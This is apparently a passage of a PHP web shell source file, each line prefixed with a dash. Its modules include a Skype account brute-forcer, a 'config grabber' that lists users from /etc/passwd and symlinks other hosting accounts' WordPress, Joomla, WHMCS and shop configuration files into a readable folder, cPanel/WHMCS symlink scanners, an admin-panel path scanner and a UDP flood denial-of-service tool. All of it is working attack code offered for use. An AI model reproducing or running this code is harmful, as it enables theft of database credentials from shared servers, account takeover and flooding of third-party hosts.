- }elseif($subHash=='$H$'&&strlen($hash)==35) {
- echo "<center>The Hash:".$hash." is:MD5(phpBB3) Hash";
- }elseif(strlen($hash)==29) {
- echo "<center>The Hash:".$hash." is:MD5(Wordpress) Hash";
- }elseif($subHash=='$5$'&&strlen($hash)==64) {
- echo "<center>The Hash:".$hash." is:SHA256(UNIX) Hash";
- }elseif($subHash=='$6$'&&strlen($hash)==128) {
- echo "<center>The Hash:".$hash." is:SHA512(UNIX) Hash";
- }elseif(strlen($hash)==56) {
- echo "<center>The Hash:".$hash." is:SHA224 Hash";
- }elseif(strlen($hash)==64) {
- echo "<center>The Hash:".$hash." is:SHA256 Hash";
- }elseif(strlen($hash)==96) {
- echo "<center>The Hash:".$hash." is:SHA384 Hash";
- }elseif(strlen($hash)==128) {
- echo "<center>The Hash:".$hash." is:SHA512 Hash";
- }elseif(strlen($hash)==40) {
- echo "<center>The Hash:".$hash." is:MySQL v5.x Hash";
- }elseif(strlen($hash)==16) {
- echo "<center>The Hash:".$hash." is:MySQL Hash";
- }elseif(strlen($hash)==13) {
- echo "<center>The Hash:".$hash." is:DES(Unix) Hash";
- }elseif(strlen($hash)==32) {
- echo "<center>The Hash:".$hash." is:MD5 Hash";
- }elseif(strlen($hash)==4) {
- echo "<center>The Hash:".$hash." is:[CRC-16]-[CRC-16-CCITT]-[FCS-16]";
- }else{
- echo "<center>Error:Can't Detect Hash Type";
- }
- echo '</center>';
- }
- }elseif(isset($_GET['x'])&&($_GET['x']=='skype')){?>
- <form action="?dm=<?php echo $pwd; ?>&x=skype" method="post">
- <br/><br/><form method='POST'>
- <center><br/><br/>
- <img src='http://www.in-travel.info/easter2013/wp-content/uploads/2012/12/Skype-Logo-300x133.png'><br/><br/><span class='b7'>O=:[ BRUTEFORCE SKYPE ACCOUNT ]:=O</span><br/><br/>
- Username:<input style='color:lime;background-color:#000000' type='text' name='skypename' placeholder='Skype Name' size='38'><br>
- <textarea style='color:lime;background-color:#000000' rows='16' cols='38' name='passwords' placeholder='passwords'></textarea><br><br>
- <input style='color:lime;background-color:#000000' type='submit' value='Start BruteForce' name='brute'><br>
- </center>
- </form>
- <?php
- $skype="https://login.skype.com/login?application=account&return_url=https%3A%2F%2Fsecure.skype.com%2Faccount%2Flogin";
- $username=$_POST['skypename'];
- $password=explode("\r\n",$_POST['passwords']);
- $time=date_default_timezone_set("Asia/Jakarta");
- $date=date('H:i:s');
- $header="HTTP/1.1 302";
- if($_POST['brute']){
- foreach($password as $pass){
- bruteskype($skype,$username,$pass,$header);
- }
- }
- }elseif(isset($_GET['x'])&&($_GET['x']=='grabber')){
- echo'<form action="?dm='.$pwd.'&x=grabber" method="post">
- <center><br/><br/><span class="b7">O=:[ CONFIG GRABBER ]:=O<br/><br/>
- <textarea name="passwd"></textarea><br/><br/>
- <input name="cat" type="submit"><br/></form>';
- if($_POST['cat']&&!$_POST['passwd']=="") {
- echo 'Checking Functions ...<br>';
- $functions=ini_get('disable_functions');
- if(preg_match('/symlink/',$functions)) {
- echo 'Functions Symlink On<br>';
- }
- mkdir("dm_grab",0755);
- chdir("dm_grab");
- $htaccess="Options all\nOptions +Indexes\nOptions +FollowSymLinks\nDirectoryIndex Sux.html\nAddType text/plain .php\nAddHandler server-parsed .php\nAddType text/plain .html\nAddHandler txt .html\nSatisfy Any";
- simpan(".htaccess",$htaccess);
- $passwd=$_POST["passwd"];
- $passwd=explode("\n",$passwd);
- echo "Start Symlinking ...<br>";
- foreach($passwd as $pwd) {
- $pawd=explode(":",$pwd);
- $user=$pawd[0];
- @symlink('/home/'.$user.'/public_html/includes/configure.php',$user.'-shop.txt');
- @symlink('/home/'.$user.'/public_html/os/includes/configure.php',$user.'-shop-os.txt');
- @symlink('/home/'.$user.'/public_html/oscom/includes/configure.php',$user.'-oscom.txt');
- @symlink('/home/'.$user.'/public_html/oscommerce/includes/configure.php',$user.'-oscommerce.txt');
- @symlink('/home/'.$user.'/public_html/oscommerces/includes/configure.php',$user.'-oscommerces.txt');
- @symlink('/home/'.$user.'/public_html/shop/includes/configure.php',$user.'-shop2.txt');
- @symlink('/home/'.$user.'/public_html/shopping/includes/configure.php',$user.'-shop-shopping.txt');
- @symlink('/home/'.$user.'/public_html/sale/includes/configure.php',$user.'-sale.txt');
- @symlink('/home/'.$user.'/public_html/amember/config.inc.php',$user.'-amember.txt');
- @symlink('/home/'.$user.'/public_html/config.inc.php',$user.'-amember2.txt');
- @symlink('/home/'.$user.'/public_html/members/configuration.php',$user.'-members.txt');
- @symlink('/home/'.$user.'/public_html/config.php',$user.'-4images1.txt');
- @symlink('/home/'.$user.'/public_html/forum/includes/config.php',$user.'-forum.txt');
- @symlink('/home/'.$user.'/public_html/forums/includes/config.php',$user.'-forums.txt');
- @symlink('/home/'.$user.'/public_html/admin/conf.php',$user.'-5.txt');
- @symlink('/home/'.$user.'/public_html/admin/config.php',$user.'-4.txt');
- @symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-WordPress.txt');
- @symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-WordPress-wp.txt');
- @symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-WordPress-WP.txt');
- @symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-WordPress-wp-beta.txt');
- @symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-WordPress-beta.txt');
- @symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-WordPress-press.txt');
- @symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-WordPress-wordpress.txt');
- @symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-WordPress-Wordpress.txt');
- @symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-WordPress-Wordpress.txt');
- @symlink('/home/'.$user.'/public_html/wordpress/beta/wp-config.php',$user.'-WordPress-wordpress-beta.txt');
- @symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-WordPress-news.txt');
- @symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-WordPress-new.txt');
- @symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');
- @symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');
- @symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');
- @symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-wp-home.txt');
- @symlink('/home/'.$user.'/public_html/protal/wp-config.php',$user.'-wp-protal.txt');
- @symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');
- @symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');
- @symlink('/home/'.$user.'/public_html/test/wp-config.php',$user.'-wp-test.txt');
- @symlink('/home/'.$user.'/public_html/arcade/functions/dbclass.php',$user.'-ibproarcade.txt');
- @symlink('/home/'.$user.'/public_html/arcade/functions/dbclass.php',$user.'-ibproarcade.txt');
- @symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');
- @symlink('/home/'.$user.'/public_html/protal/configuration.php',$user.'-joomla-protal.txt');
- @symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');
- @symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');
- @symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');
- @symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');
- @symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');
- @symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');
- @symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-joomla-home.txt');
- @symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');
- @symlink('/home/'.$user.'/public_html/vb3/includes/config.php',$user.'-vb3-config.txt');
- @symlink('/home/'.$user.'/public_html/cc/includes/config.php',$user.'-vb1-config.txt');
- @symlink('/home/'.$user.'/public_html/includes/config.php',$user.'-includes-vb.txt');
- @symlink('/home/'.$user.'/public_html/forum/includes/class_core.php',$user.'-vbluttin-class_core.php.txt');
- @symlink('/home/'.$user.'/public_html/vb/includes/class_core.php',$user.'-vbluttin-class_core.php1.txt');
- @symlink('/home/'.$user.'/public_html/cc/includes/class_core.php',$user.'-vbluttin-class_core.php2.txt');
- @symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm15.txt');
- @symlink('/home/'.$user.'/public_html/central/configuration.php',$user.'-whm-central.txt');
- @symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');
- @symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');
- @symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmcs.txt');
- @symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-support.txt');
- @symlink('/home/'.$user.'/public_html/supp/configuration.php',$user.'-supp.txt');
- @symlink('/home/'.$user.'/public_html/secure/configuration.php',$user.'-sucure.txt');
- @symlink('/home/'.$user.'/public_html/secure/whm/configuration.php',$user.'-sucure-whm.txt');
- @symlink('/home/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-sucure-whmcs.txt');
- @symlink('/home/'.$user.'/public_html/cpanel/configuration.php',$user.'-cpanel.txt');
- @symlink('/home/'.$user.'/public_html/panel/configuration.php',$user.'-panel.txt');
- @symlink('/home/'.$user.'/public_html/host/configuration.php',$user.'-host.txt');
- @symlink('/home/'.$user.'/public_html/hosting/configuration.php',$user.'-hosting.txt');
- @symlink('/home/'.$user.'/public_html/hosts/configuration.php',$user.'-hosts.txt');
- @symlink('/home/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');
- @symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-whmcs2.txt');
- @symlink('/home/'.$user.'/public_html/clients/configuration.php',$user.'-clients.txt');
- @symlink('/home/'.$user.'/public_html/client/configuration.php',$user.'-client.txt');
- @symlink('/home/'.$user.'/public_html/clientes/configuration.php',$user.'-clientes.txt');
- @symlink('/home/'.$user.'/public_html/cliente/configuration.php',$user.'-client.txt');
- @symlink('/home/'.$user.'/public_html/clientsupport/configuration.php',$user.'-clientsupport.txt');
- @symlink('/home/'.$user.'/public_html/billing/configuration.php',$user.'-billing.txt');
- @symlink('/home/'.$user.'/public_html/manage/configuration.php',$user.'-whm-manage.txt');
- @symlink('/home/'.$user.'/public_html/my/configuration.php',$user.'-whm-my.txt');
- @symlink('/home/'.$user.'/public_html/myshop/configuration.php',$user.'-whm-myshop.txt');
- @symlink('/home/'.$user.'/public_html/includes/dist-configure.php',$user.'-zencart.txt');
- @symlink('/home/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-shop-zencart.txt');
- @symlink('/home/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-shop-ZCshop.txt');
- @symlink('/home/'.$user.'/public_html/Settings.php',$user.'-smf.txt');
- @symlink('/home/'.$user.'/public_html/smf/Settings.php',$user.'-smf2.txt');
- @symlink('/home/'.$user.'/public_html/forum/Settings.php',$user.'-smf-forum.txt');
- @symlink('/home/'.$user.'/public_html/forums/Settings.php',$user.'-smf-forums.txt');
- @symlink('/home/'.$user.'/public_html/upload/includes/config.php',$user.'-up.txt');
- @symlink('/home/'.$user.'/public_html/article/config.php',$user.'-Nwahy.txt');
- @symlink('/home/'.$user.'/public_html/up/includes/config.php',$user.'-up2.txt');
- @symlink('/home/'.$user.'/public_html/conf_global.php',$user.'-6.txt');
- @symlink('/home/'.$user.'/public_html/include/db.php',$user.'-7.txt');
- @symlink('/home/'.$user.'/public_html/connect.php',$user.'-PHP-Fusion.txt');
- @symlink('/home/'.$user.'/public_html/mk_conf.php',$user.'-9.txt');
- @symlink('/home/'.$user.'/public_html/includes/config.php',$user.'-traidnt1.txt');
- @symlink('/home/'.$user.'/public_html/config.php',$user.'-4images.txt');
- @symlink('/home/'.$user.'/public_html/sites/default/settings.php',$user.'-Drupal.txt');
- @symlink('/home/'.$user.'/public_html/member/configuration.php',$user.'-1member.txt');
- @symlink('/home/'.$user.'/public_html/billings/configuration.php',$user.'-billings.txt');
- @symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm.txt');
- @symlink('/home/'.$user.'/public_html/supports/configuration.php',$user.'-supports.txt');
- @symlink('/home/'.$user.'/public_html/requires/config.php',$user.'-AM4SS-hosting.txt');
- @symlink('/home/'.$user.'/public_html/supports/includes/iso4217.php',$user.'-hostbills-supports.txt');
- @symlink('/home/'.$user.'/public_html/client/includes/iso4217.php',$user.'-hostbills-client.txt');
- @symlink('/home/'.$user.'/public_html/support/includes/iso4217.php',$user.'-hostbills-support.txt');
- @symlink('/home/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-hostbills-billing.txt');
- @symlink('/home/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-hostbills-billings.txt');
- @symlink('/home/'.$user.'/public_html/host/includes/iso4217.php',$user.'-hostbills-host.txt');
- @symlink('/home/'.$user.'/public_html/hosts/includes/iso4217.php',$user.'-hostbills-hosts.txt');
- @symlink('/home/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-hostbills-hosting.txt');
- @symlink('/home/'.$user.'/public_html/hostings/includes/iso4217.php',$user.'-hostbills-hostings.txt');
- @symlink('/home/'.$user.'/public_html/includes/iso4217.php',$user.'-hostbills.txt');
- @symlink('/home/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-hostbills-hostbills.txt');
- @symlink('/home/'.$user.'/public_html/hostbill/includes/iso4217.php',$user.'-hostbills-hostbill.txt');
- }
- echo "<center><br/><br/><a href='dm_grab'><span class='b9'>CHECK CONFIG GRABBER</span><br/></a><br/><br/></center>";
- }
- }elseif(isset($_GET['x'])&&($_GET['x']=='ascan')){?>
- <form action="?dn=<?php echo $pwd; ?>&x=ascan" method="post">
- <center><br/><br/><span class="b7">O=:[ ADMIN LOGIN PATH SCANNER ]:=O<br/><br/> <form method="POST"> Website:<input name="target" style="color:lime;background-color:#000000" size="25" value="http://"><input type="submit" style="color:lime;background-color:#000000" value=" >> "></form></center>
- <?php
- $target=$_POST['target'];
- $admins=array('/admin','/adminweb','/safeadmin','/adminweb','/controlpanel','/cpanel','/admcp','/admin.asp','/sysadmin.php','/useradmin','/wp-admin','/webadmin','/SysAdmin','/administer','/administrator','/adm','/directadmin','/staradmin','/panel','/wp-login','/pureadmin','/webmaster','/ADMIN','/login','/paneldecontrol','/administrador','/admin.php','/login','/loign.php','/administrator.php','/admins.php','/logins','/admincp','/admincp.php');
- foreach($admins as $admin) {
- $jamban=($target) . ($admin);
- $get=file_get_contents($jamban);
- if($get) {
- echo "<br>[+] FOUND:<a href='".$jamban."' target='_blank'>".$jamban."</a> [+]<br>";
- }
- }
- }elseif(isset($_GET['x'])&&($_GET['x']=='logout')){
- if(isset($_SERVER['HTTP_COOKIE'])){
- $cookies=explode(';',$_SERVER['HTTP_COOKIE']);
- foreach($cookies as $cookie){
- $parts=explode('=',$cookie);
- $name=trim($parts[0]);
- setcookie($name,'',time()-1000);
- }
- }else{
- foreach($_COOKIE as $delc=>$value){
- setcookie($delc,'',time()-1000);
- }
- }
- echo'<center><h1> Please Wait ...</h1></center><script>window.location.href ="'.lokasi.'"</script>';
- }elseif(isset($_GET['x'])&&($_GET['x']=='jomass')){
- }elseif(isset($_GET['x'])&&($_GET['x']=='reseller')){
- echo'<form action="?dm='.$pwd.'&x=reseller" method="post">';
- echo '<br><br><body bgcolor=black><center>
- <img src="http://www.nextgenhost.net/icons/logo-cpanel-whm.png"><br/><br/>
- <b><span class="b7">O=:[ CPANEL GRABBER ]:=O</span><br/><br/>
- <center>
- <textarea name="passwd" rows="20">';
- $uSr=file("/etc/passwd");
- foreach($uSr as $usrr){
- $str=explode(":",$usrr);
- echo $str[0]."\n";
- }
- ?></textarea><p>
- <font style="color:lime">
- [~] Home:
- <select title="Select Target Home" name="home">
- <option title="home" value="home">home</option>
- <option title="home2" value="home2">home2</option>
- <option title="home3" value="home3">home3</option>
- <option title="home4" value="home4">home4</option>
- <option title="home5" value="home5">home5</option>
- <option title="home6" value="home6">home6</option>
- <option title="home7" value="home7">home7</option>
- <option title="home8" value="home8">home8</option>
- <option title="home9" value="home9">home9</option>
- <option title="home10" value="home10">home10</option>
- </select> [~] Htaccess:
- <select title="Select Software" name="soft">
- <option title="Apache" value="Options all
- Options +Indexes
- Options +FollowSymLinks
- DirectoryIndex Sux.html
- AddType text/plain .php
- AddHandler server-parsed .php
- AddType text/plain .html
- AddHandler txt .html
- Require None
- Satisfy Any">Apache</option>
- <option title="Litespeed" value="
- Options +FollowSymLinks
- DirectoryIndex seees.html
- RemoveHandler .php
- AddType application/octet-stream .php ">Litespeed</option>
- </select> <input name="anu" size="10" value="<< START SCAN >>" type="submit">
- <br/><br/></form></center>
- <?php
- @ini_set('html_errors', 0);
- @ini_set('max_execution_time', 0);
- @ini_set('display_errors', 0);
- @ini_set('file_uploads', 1);
- if($_POST['anu']) {
- $path=$_POST['path'];
- $home=$_POST['home'];
- $functions=@ini_get("disable_functions");
- if(preg_match("symlink",$functions)) {
- die('Kurang Ganteng Cok');
- }
- @mkdir(RESELLER, 0755);
- @chdir(RESELLER);
- $htaccess=$_POST['soft'];
- file_put_contents(".htaccess",$htaccess, FILE_APPEND);
- $passwd=explode("\n",$_POST["passwd"]);
- foreach($passwd as $pwd) {
- $user=trim($pwd);
- @symlink('/'.$home.'/'.$user.'/public_html/moving.page/index.html',$user.' <~ RESELLER1');
- @symlink('/'.$home.'/'.$user.'/public_html/suspended.page/index.html',$user.' <~ RESELLER2');
- }
- echo '<center>
- <font face="Audiowide" size="5" style="color:lime;background-color:#000000">
- <img src="http://www.komunitas.for-indonesia.com/images/smiley/piss.gif"><br/>
- Scanning Complete....<br/>
- Now Checking Folder Result....<br/><br/><br/>
- <a href="/RESELLER">O=[ GO TO HELL ]=O</a>
- </font>
- <br/><br/><br/></center> </body></html> ';
- }
- }elseif(isset($_GET['x'])&&($_GET['x']=='dmwhmcs11')){?>
- <form action="?dm=<?php echo $pwd; ?>&x=dmwhmcs11" method="post">
- <?php
- echo '<br><br><body bgcolor=black><center>
- <img src="http://www.whmcs.com/images/logo_whmcs.png"><br/><br/>
- <span class="b7">O=:[ SCAN CMS WHMCS ]:=O</span><br/><br/>
- <center>
- <textarea name="passwd">';
- $uSr=file("/etc/passwd");
- foreach($uSr as $usrr){
- $str=explode(":",$usrr);
- echo $str[0]."\n";
- }
- ?></textarea><p>
- <font style="color:lime;">
- [~] Home:
- <select title="Select Target Home" name="home">
- <option title="home" value="home">home</option>
- <option title="home2" value="home2">home2</option>
- <option title="home3" value="home3">home3</option>
- <option title="home4" value="home4">home4</option>
- <option title="home5" value="home5">home5</option>
- <option title="home6" value="home6">home6</option>
- <option title="home7" value="home7">home7</option>
- <option title="home8" value="home8">home8</option>
- <option title="home9" value="home9">home9</option>
- <option title="home10" value="home10">home10</option>
- </select> [~] Htaccess:
- <select title="Select Software" name="soft">
- <option title="Apache" value="Options all
- Options +Indexes
- Options +FollowSymLinks
- DirectoryIndex Sux.html
- AddType text/plain .php
- AddHandler server-parsed .php
- AddType text/plain .html
- AddHandler txt .html
- Require None
- Satisfy Any">Apache</option>
- <option title="Litespeed" value="
- Options +FollowSymLinks
- DirectoryIndex seees.html
- RemoveHandler .php
- AddType application/octet-stream .php ">Litespeed</option>
- </select> <input name="anu" value="<< START SCAN >>" type="submit">
- <br/><br/></form></center>
- <?php
- if($_POST['anu']) {
- $path=$_POST['path'];
- $home=$_POST['home'];
- $functions=@ini_get("disable_functions");
- if(preg_match("symlink",$functions)) {
- die('Kurang Ganteng Cok');
- }
- @mkdir(WHMCS, 0755);
- @chdir(WHMCS);
- $htaccess=$_POST['soft'];
- file_put_contents(".htaccess",$htaccess, FILE_APPEND);
- $passwd=explode("\n",$_POST["passwd"]);
- foreach($passwd as $pwd) {
- $user=trim($pwd);
- @symlink('/' .$home.'/'.$user.'/public_html/suspended.page/index.html',$user.' <~ RESELLER');
- @symlink('/' .$home.'/'.$user.'/public_html/modules/registrars/',$user.' <~ WHMCS-1');
- @symlink('/' .$home.'/'.$user.'/public_html/account/modules/registrars/',$user.' <~ WHMCS-2');
- @symlink('/' .$home.'/'.$user.'/public_html/accounts/modules/registrars/',$user.' <~ WHMCS-3');
- @symlink('/' .$home.'/'.$user.'/public_html/central/modules/registrars/',$user.' <~ WHMCS-4');
- @symlink('/' .$home.'/'.$user.'/public_html/clienti/modules/registrars/',$user.' <~ WHMCS-5');
- @symlink('/' .$home.'/'.$user.'/public_html/client/modules/registrars/',$user.' <~ WHMCS-6');
- @symlink('/' .$home.'/'.$user.'/public_html/cliente/modules/registrars/',$user.' <~ WHMCS-7');
- @symlink('/' .$home.'/'.$user.'/public_html/clientes/modules/registrars/',$user.' <~ WHMCS-8');
- @symlink('/' .$home.'/'.$user.'/public_html/clients/modules/registrars/',$user.' <~ WHMCS-9');
- @symlink('/' .$home.'/'.$user.'/public_html/clientarea/modules/registrars/',$user.' <~ WHMCS-9');
- @symlink('/' .$home.'/'.$user.'/public_html/clientsarea/modules/registrars/',$user.' <~ WHMCS-10');
- @symlink('/' .$home.'/'.$user.'/public_html/client-area/modules/registrars/',$user.' <~ WHMCS-11');
- @symlink('/' .$home.'/'.$user.'/public_html/clients-area/modules/registrars/',$user.' <~ WHMCS-12');
- @symlink('/'.$home.'/'.$user.'/public_html/clientzone/modules/registrars/',$user.' <~ WHMCS-13');
- @symlink('/'.$home.'/'.$user.'/public_html/client-zone/modules/registrars/',$user.' <~ WHMCS-14');
- @symlink('/'.$home.'/'.$user.'/public_html/core/modules/registrars/',$user.' <~ WHMCS-15');
- @symlink('/'.$home.'/'.$user.'/public_html/company/modules/registrars/',$user.' <~ WHMCS-16');
- @symlink('/'.$home.'/'.$user.'/public_html/customer/modules/registrars/',$user.' <~ WHMCS-17');
- @symlink('/'.$home.'/'.$user.'/public_html/customers/modules/registrars/',$user.' <~ WHMCS-18');
- @symlink('/'.$home.'/'.$user.'/public_html/bill/modules/registrars/',$user.' <~ WHMCS-19');
- @symlink('/'.$home.'/'.$user.'/public_html/billing/modules/registrars/',$user.' <~ WHMCS-20');
- @symlink('/'.$home.'/'.$user.'/public_html/finance/modules/registrars/',$user.' <~ WHMCS-21');
- @symlink('/'.$home.'/'.$user.'/public_html/financeiro/modules/registrars/',$user.' <~ WHMCS-22');
- @symlink('/'.$home.'/'.$user.'/public_html/host/modules/registrars/',$user.' <~ WHMCS-23');
- @symlink('/'.$home.'/'.$user.'/public_html/hosts/modules/registrars/',$user.' <~ WHMCS-24');
- @symlink('/'.$home.'/'.$user.'/public_html/hosting/modules/registrars/',$user.' <~ WHMCS-25');
- @symlink('/'.$home.'/'.$user.'/public_html/hostings/modules/registrars/',$user.' <~ WHMCS'-26);
- @symlink('/'.$home.'/'.$user.'/public_html/klien/modules/registrars/',$user.' <~ WHMCS-27');
- @symlink('/'.$home.'/'.$user.'/public_html/manage/modules/registrars/',$user.' <~ WHMCS-28');
- @symlink('/'.$home.'/'.$user.'/public_html/manager/modules/registrars/',$user.' <~ WHMCS-29');
- @symlink('/'.$home.'/'.$user.'/public_html/member/modules/registrars/',$user.' <~ WHMCS-30');
- @symlink('/'.$home.'/'.$user.'/public_html/members/modules/registrars/',$user.' <~ WHMCS-31');
- @symlink('/'.$home.'/'.$user.'/public_html/my/modules/registrars/',$user.' <~ WHMCS-32');
- @symlink('/'.$home.'/'.$user.'/public_html/myaccount/modules/registrars/',$user.' <~ WHMCS-33');
- @symlink('/'.$home.'/'.$user.'/public_html/my-account/client/modules/registrars/',$user.' <~ WHMCS-34');
- @symlink('/'.$home.'/'.$user.'/public_html/myaccounts/modules/registrars/',$user.' <~ WHMCS-35');
- @symlink('/'.$home.'/'.$user.'/public_html/my-accounts/modules/registrars/',$user.' <~ WHMCS-36');
- @symlink('/'.$home.'/'.$user.'/public_html/order/modules/registrars/',$user.' <~ WHMCS-37');
- @symlink('/'.$home.'/'.$user.'/public_html/orders/modules/registrars/',$user.' <~ WHMCS-38');
- @symlink('/'.$home.'/'.$user.'/public_html/painel/modules/registrars/',$user.' <~ WHMCS-39');
- @symlink('/'.$home.'/'.$user.'/public_html/panel/modules/registrars/',$user.' <~ WHMCS-40');
- @symlink('/'.$home.'/'.$user.'/public_html/panels/modules/registrars/',$user.' <~ WHMCS-41');
- @symlink('/'.$home.'/'.$user.'/public_html/portal/modules/registrars/',$user.' <~ WHMCS-42');
- @symlink('/'.$home.'/'.$user.'/public_html/portals/modules/registrars/',$user.' <~ WHMCS-43');
- @symlink('/'.$home.'/'.$user.'/public_html/secure/modules/registrars/',$user.' <~ WHMCS-44');
- @symlink('/'.$home.'/'.$user.'/public_html/support/modules/registrars/',$user.' <~ WHMCS-45');
- @symlink('/'.$home.'/'.$user.'/public_html/supporte/modules/registrars/',$user.' <~ WHMCS-46');
- @symlink('/'.$home.'/'.$user.'/public_html/supports/modules/registrars/',$user.' <~ WHMCS-47');
- @symlink('/'.$home.'/'.$user.'/public_html/web/modules/registrars/',$user.' <~ WHMCS-48');
- @symlink('/'.$home.'/'.$user.'/public_html/webhost/modules/registrars/',$user.' <~ WHMCS-49');
- @symlink('/'.$home.'/'.$user.'/public_html/webhosting/modules/registrars/',$user.' <~ WHMCS-50');
- @symlink('/'.$home.'/'.$user.'/public_html/whm/modules/registrars/',$user.' <~ WHMCS-51');
- @symlink('/'.$home.'/'.$user.'/public_html/whmcs/modules/registrars/',$user.' <~ WHMCS-52');
- @symlink('/'.$home.'/'.$user.'/public_html/whmcs2/modules/registrars/',$user.' <~ WHMCS-53');
- @symlink('/'.$home.'/'.$user.'/public_html/Whm/modules/registrars/',$user.' <~ WHMCS-54');
- @symlink('/'.$home.'/'.$user.'/public_html/Whmcs/modules/registrars/',$user.' <~ WHMCS-55');
- @symlink('/'.$home.'/'.$user.'/public_html/WHM/modules/registrars/',$user.' <~ WHMCS-56');
- @symlink('/'.$home.'/'.$user.'/public_html/WHMCS/modules/registrars/',$user.' <~ WHMCS-57');
- }
- echo '<hr color="#00bfff"><center>
- <font face="Audiowide" size="5" style="color:lime;background-color:#000000">
- <img src="http://www.komunitas.for-indonesia.com/images/smiley/piss.gif"><br/>
- Scanning Complete....<br/>
- Now Checking Folder Result....<br/><br/><br/>
- <a href="/WHMCS">O=[ GO TO HELL ]=O</a>
- </font>
- <br/><br/><br/></center>';
- }
- }elseif(isset($_GET['x'])&&($_GET['x']=='cp3')){
- }elseif(isset($_GET['x'])&&($_GET['x']=='dos')){
- echo'<form action="?dm='.$pwd.'&x=dos" method="post">';
- if(isset($_GET['host']) && isset($_GET['time'])){
- $packets=0;
- ignore_user_abort(TRUE);
- set_time_limit(0);
- $exec_time=$_GET['time'];
- $time=time();
- print"Started: ".time('d-m-y h:i:s')."<br>";
- $max_time=$time+$exec_time;
- $host=$_GET['host'];
- for($i=0;$i<65000;$i++){
- $out .= 'X';
- }
- while(1){
- $packets++;
- if(time()>$max_time){
- break;
- }
- $rand=rand(1,65000);
- $fp=fsockopen('udp://'.$host,$rand,$errno,$errstr,5);
- if($fp){
- fwrite($fp,$out);
- fclose($fp);
- }
- }
- echo "<br><b>UDP Flood</b><br>
- Completed with $packets (".round(($packets*65)/1024,2)." MB) packets averaging ".round($packets/$exec_time,2)." packets per second \n";
- echo '<br><br><form action="'.$surl.'" method=GET><input type="hidden" name="act" value="phptools">
- Host: <br><input type=text name=host><br>
- Length (seconds): <br><input type=text name=time><br>
- <input type=submit value=Go></form>';
- }else{
- echo '<center><form action=? method=GET><input type="hidden" name="act" value="phptools">
- <table class="tabnet" style="width:300px;">
- <tr><th colspan="2">UDP Flood</th></tr>
- <tr><td> Host</td>
- <td><input style="width:220px;" class="inputz" type=text name=host value=></td></tr>
- <tr><td> Length (seconds)</td>
- <td><input style="width:220px;" class="inputz" type=text name=time value=></td></tr>
- <tr><td colspan=2 align=center><input style="width:100%;" class="inputzbut" type="submit" value="Attack !" /></td></tr>
- </table></center>';
- }
- echo'</form>';
- }elseif(isset($_GET['x'])&&($_GET['x']=='phpinfo')){
- ob_start();
- phpinfo();
- $a=ob_get_contents();
- ob_end_clean();
- echo'<br /><div class="phpinfo">'.preg_replace('%^.*<body>(.*)</body>.*$%ms','$1',$a).'</div>';
- }elseif(isset($_GET['view'])&&($_GET['view']!="")){
- if(is_file($_GET['view'])){
- if(!isset($file))$file=magicboom($_GET['view']);
- if(!$win && $posix){
- $name=@posix_getpwuid(@fileowner($file));
- $group=@posix_getgrgid(@filegroup($file));
- $owner=$name['name']."<span class=\"gaya\">:</span>".$group['name'];
- }else{
- $owner=$user;
- }
- $filn=basename($file);
- echo "<center><table border=\"1\" bordercolor=\"lime\" style=\"border-collapse:collapse;margin:10px;line-height:20px;\">
- <tr><td>Filename</td>
- <td><span id=\"".clearspace($filn)."_link\">".$file."</span>
- <form action=\"?dm=".$pwd."&view=$file\" method=\"post\" id=\"".clearspace($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
- <input type=\"hidden\" name=\"old_name\" value=\"".$filn."\" style=\"margin:0;padding:0;\" />
- <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"new_name\" value=\"".$filn."\" />
- <input class=\"inputzbut\" type=\"submit\" name=\"re_name\" value=\"Rename\" />
- <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"Cancel\"
- onclick=\"tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\" />
